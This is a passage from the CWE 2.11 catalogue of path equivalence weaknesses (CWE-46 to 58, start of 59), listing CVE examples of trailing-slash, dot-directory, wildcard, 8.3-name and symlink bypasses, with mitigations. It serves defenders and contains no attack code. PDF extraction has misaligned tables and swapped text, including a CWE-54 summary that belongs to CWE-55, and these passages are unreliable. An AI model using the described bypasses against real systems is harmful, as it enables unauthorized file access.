<td>Source disclosure via trailing encoded space “%20”</td>
</tr>
<tr>
<td>CVE-2004-0280</td>
<td>Source disclosure via trailing encoded space “%20”</td>
</tr>
<tr>
<td>CVE-2004-2213</td>
<td>Source disclosure via trailing encoded space “%20”</td>
</tr>
<tr>
<td>CVE-2005-0622</td>
<td>Source disclosure via trailing encoded space “%20”</td>
</tr>
<tr>
<td>CVE-2005-1656</td>
<td>Source disclosure via trailing encoded space “%20”</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☢️</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
<td>73</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢️</td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
<td>1000</td>
<td>319</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>☢️</td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
<td>1000</td>
<td>514</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢️</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
<td>1388</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SFP16</td>
<td>Trailing Space - ‘filedir’</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-47: Path Equivalence: 'filename' (Leading Space)

Description

Summary
A software system that accepts path input in the form of leading space ('filedir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• All
CWE Version 2.11
CWE-48: Path Equivalence: 'file name' (Internal Whitespace)

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Leading Space - 'filedir'</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-48: Path Equivalence: 'file name' (Internal Whitespace)

Weakness ID: 48 (Weakness Variant)  Status: Incomplete
Description
Summary
A software system that accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0293</td>
<td>Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.</td>
</tr>
<tr>
<td>CVE-2001-1567</td>
<td>&quot;+&quot; characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.</td>
</tr>
</tbody>
</table>

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

Taxonomy Mappings
CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>file(SPACE)name (internal space)</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td></td>
<td>CWE More Specific Denial of Service</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td></td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

### CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

**Weakness ID:** 49 *(Weakness Variant)*

**Status:** Incomplete

**Description**

#### Summary

A software system that accepts path input in the form of trailing slash ('filedir/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

#### Time of Introduction

- Implementation
- Operation

#### Applicable Platforms

**Languages**

- All

#### Common Consequences

- Confidentiality
- Integrity

- Read files or directories
- Modify files or directories

#### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BID:3518</td>
<td>Source code disclosure</td>
</tr>
<tr>
<td>CVE-2001-0446</td>
<td>Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.</td>
</tr>
<tr>
<td>CVE-2001-0892</td>
<td>Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.</td>
</tr>
<tr>
<td>CVE-2001-0893</td>
<td>Read sensitive files with trailing &quot;/&quot;</td>
</tr>
<tr>
<td>CVE-2002-0253</td>
<td>Overlaps infoleak</td>
</tr>
<tr>
<td>CVE-2004-0334</td>
<td>Bypass Basic Authentication for files using trailing &quot;/&quot;</td>
</tr>
<tr>
<td>CVE-2004-1814</td>
<td>Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.</td>
</tr>
</tbody>
</table>

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>filedir/ (trailing slash, trailing /)</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

### CWE-50: Path Equivalence: '//multiple/leading/slash'

**Weakness ID:** 50 *(Weakness Variant)*

**Status:** Incomplete

**Description**

#### Summary

A software system that accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
CWE Version 2.11
CWE-51: Path Equivalence: '/multiple//internal/slash'

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1456</td>
<td>Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.</td>
</tr>
<tr>
<td>CVE-2000-1050</td>
<td>Access directory using multiple leading slash.</td>
</tr>
<tr>
<td>CVE-2001-1072</td>
<td>Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.</td>
</tr>
<tr>
<td>CVE-2002-0275</td>
<td>Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.</td>
</tr>
<tr>
<td>CVE-2002-1238</td>
<td>Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as <a href="http://www.example.com///file/">http://www.example.com///file/</a>.</td>
</tr>
<tr>
<td>CVE-2002-1483</td>
<td>Read files with full pathname using multiple internal slash.</td>
</tr>
<tr>
<td>CVE-2004-0235</td>
<td>Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.</td>
</tr>
<tr>
<td>CVE-2004-0578</td>
<td>Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request.</td>
</tr>
<tr>
<td>CVE-2004-1032</td>
<td>Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.</td>
</tr>
<tr>
<td>CVE-2004-1878</td>
<td>Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).</td>
</tr>
<tr>
<td>CVE-2005-1365</td>
<td>Server allows remote attackers to execute arbitrary commands via a URL with multiple leading &quot;/&quot; (slash) characters and &quot;.&quot; sequences.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>161</td>
<td></td>
<td>Improper Neutralization of Multiple Leading Special Elements</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>/multiple/leading/slash ('multiple leading slash')</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-51: Path Equivalence: '/multiple//internal/slash'

Weakness ID: 51 (Weakness Variant) Status: Incomplete

Description

Summary
A software system that accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All
CWE-52: Path Equivalence: '/multiple/trailing/slash/'

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1483</td>
<td>Read files with full pathname using multiple internal slash.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☀️</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
<td>73</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☀️</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
<td>1388</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>/multiple//internal//slash ('multiple internal slash')</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-52: Path Equivalence: '/multiple/trailing/slash/'

Weakness ID: 52 (Weakness Variant) Status: Incomplete

Description

Summary
A software system that accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1078</td>
<td>Directory listings in web server using multiple trailing slash</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
CWE Version 2.11
CWE-53: Path Equivalence: '\multiple\internal\backslash'

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍀</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>🍀</td>
<td>163</td>
<td>Improper Neutralization of Multiple Trailing Special Elements</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>🍀</td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍀</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>/multiple/trailing/slash// ('multiple trailing slash')</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-53: Path Equivalence: '\multiple\internal\backslash'

Weakness ID: 53 (Weakness Variant)  Status: Incomplete

Description

Summary

A software system that accepts path input in the form of multiple internal backslash ('\multiple \trailing\slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

Potential Mitigations

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍀</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>🍀</td>
<td>163</td>
<td>Improper Neutralization of Multiple Internal Special Elements</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍀</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>/multiple\internal\backslash</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)

Weakness ID: 54 (Weakness Variant)  Status: Incomplete

Description

Summary
A software system that accepts path input in the form of single dot directory exploit (‘/./’) without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**
- Implementation

**Applicable Platforms**
**Languages**
- All

**Common Consequences**
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0847</td>
<td>ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) &quot;&quot; (backslash) or (2) &quot;%5C&quot; (encoded backslash), aka “Path Validation Vulnerability.”</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Input Validation**
Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
<td>73</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
<td>1000</td>
<td>319</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
<td>1388</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SFP16</td>
<td>filedir\ (trailing backslash)</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFPTraversal</td>
<td></td>
</tr>
</tbody>
</table>

**CWE-55: Path Equivalence: '/./' (Single Dot Directory)**

**Weakness ID:** 55 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**
A software system that accepts path input in the form of single dot directory exploit (‘/./’) without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**
- Implementation

**Applicable Platforms**
**Languages**
- All

**Common Consequences**
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories
CWE Version 2.11
CWE-56: Path Equivalence: 'filedir*' (Wildcard)

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BID:6042</td>
<td>Input Validation error</td>
</tr>
<tr>
<td>CVE-1999-1083</td>
<td>Possibly (could be a cleansing error)</td>
</tr>
<tr>
<td>CVE-2000-0004</td>
<td>Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.</td>
</tr>
<tr>
<td>CVE-2002-0112</td>
<td>Server allows remote attackers to view password protected files via /./ in the URL.</td>
</tr>
<tr>
<td>CVE-2002-0304</td>
<td>Server allows remote attackers to read password-protected files via a /./ in the HTTP request.</td>
</tr>
<tr>
<td>CVE-2004-0815</td>
<td>&quot;./////etc&quot; cleansed to &quot;.//etc&quot; then &quot;/etc&quot;</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699 73</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888 1388</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>/./ (single dot directory)</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-56: Path Equivalence: 'filedir*' (Wildcard)

Weakness ID: 56 (Weakness Variant)  Status: Incomplete

Description

Summary

A software system that accepts path input in the form of asterisk wildcard ("filedir*") without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0433</td>
<td>List files in web server using &quot;.*.ext&quot;</td>
</tr>
<tr>
<td>CVE-2004-0696</td>
<td>List directories using desired path and &quot;*&quot;</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>V</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>155</td>
<td>Improper Neutralization of Wildcards or Matching Symbols</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
- PLOVER: filedir* (asterisk / wildcard)
- Software Fault Patterns: SFP16 Path Traversal

CWE-57: Path Equivalence: 'fakedir/../realdir/filename'

Weakness ID: 57 (Weakness Variant) Status: Incomplete

Description
Summary
The software contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

Time of Introduction
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

Observed Examples
- Reference | Description
  - CVE-2000-0191 | application check access for restricted URL before canonicalization
  - CVE-2001-1152 | Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a //, or (4) URL-encoded characters.
  - CVE-2005-1366 | CGI source disclosure using "dirname/..cgi-bin"

Potential Mitigations
Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships
- Nature | Type | ID | Name                                      | Page |
  - ChildOf |      | 41 | Improper Resolution of Path Equivalence   | V    |

89
Theoretical Notes
This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>dirname/fakechild/../realchild/filename</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-58: Path Equivalence: Windows 8.3 Filename

Weakness ID: 58 (Weakness Variant)  Status: Incomplete

Description

Summary
The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short "8.3" filename.

Extended Description
On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Operating Systems
• Windows

Common Consequences

Confidentiality

Integrity

Read files or directories
Modify files or directories

Oberved Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0012</td>
<td>Multiple web servers allow restriction bypass using 8.3 names instead of long names</td>
</tr>
<tr>
<td>CVE-2001-0795</td>
<td>Source code disclosure using 8.3 file name.</td>
</tr>
<tr>
<td>CVE-2005-0471</td>
<td>Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.</td>
</tr>
</tbody>
</table>

Potential Mitigations

System Configuration
Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888  1388</td>
</tr>
</tbody>
</table>

Research Gaps
Probably under-studied
CWE Version 2.11

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Functional Areas
- File processing

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Windows 8.3 Filename</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

References

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID: 59 (Weakness Base)  Status: Draft

Description

Summary
The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Alternate Terms

insecure temporary file
Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Operating Systems
- Windows (Sometimes)
- UNIX (Often)

Common Consequences

Confidentiality
Integrity
Access Control
Read files or directories
Modify files or directories
Bypass protection mechanism
An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

Other
Remote Execution: Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since an ".LNK" file can be uploaded like a normal file.

Likelihood of Exploit
Low to Medium

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
CWE Version 2.11
CWE-59: Improper Link Resolution Before File Access ('Link Following')

Manual Static Analysis - Binary / Bytecode

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Web Application Scanner
  Web Services Scanner
  Database Scanners

Static Analysis with manual results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Fuzz Tester
  Framework-based Fuzzer

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Focused Manual Spotcheck - Focused manual analysis of source
  Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Source code Weakness Analyzer
  Context-configured Source Code Weakness Analyzer

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0783</td>
<td>Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.</td>
</tr>
<tr>
<td>CVE-1999-1386</td>
<td>Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.</td>
</tr>
<tr>
<td>CVE-2000-0342</td>
<td>Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka &quot;Stealth Attachment.&quot;</td>
</tr>
<tr>
<td>CVE-2000-0972</td>
<td>Suid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.</td>
</tr>
<tr>
<td>CVE-2000-1178</td>
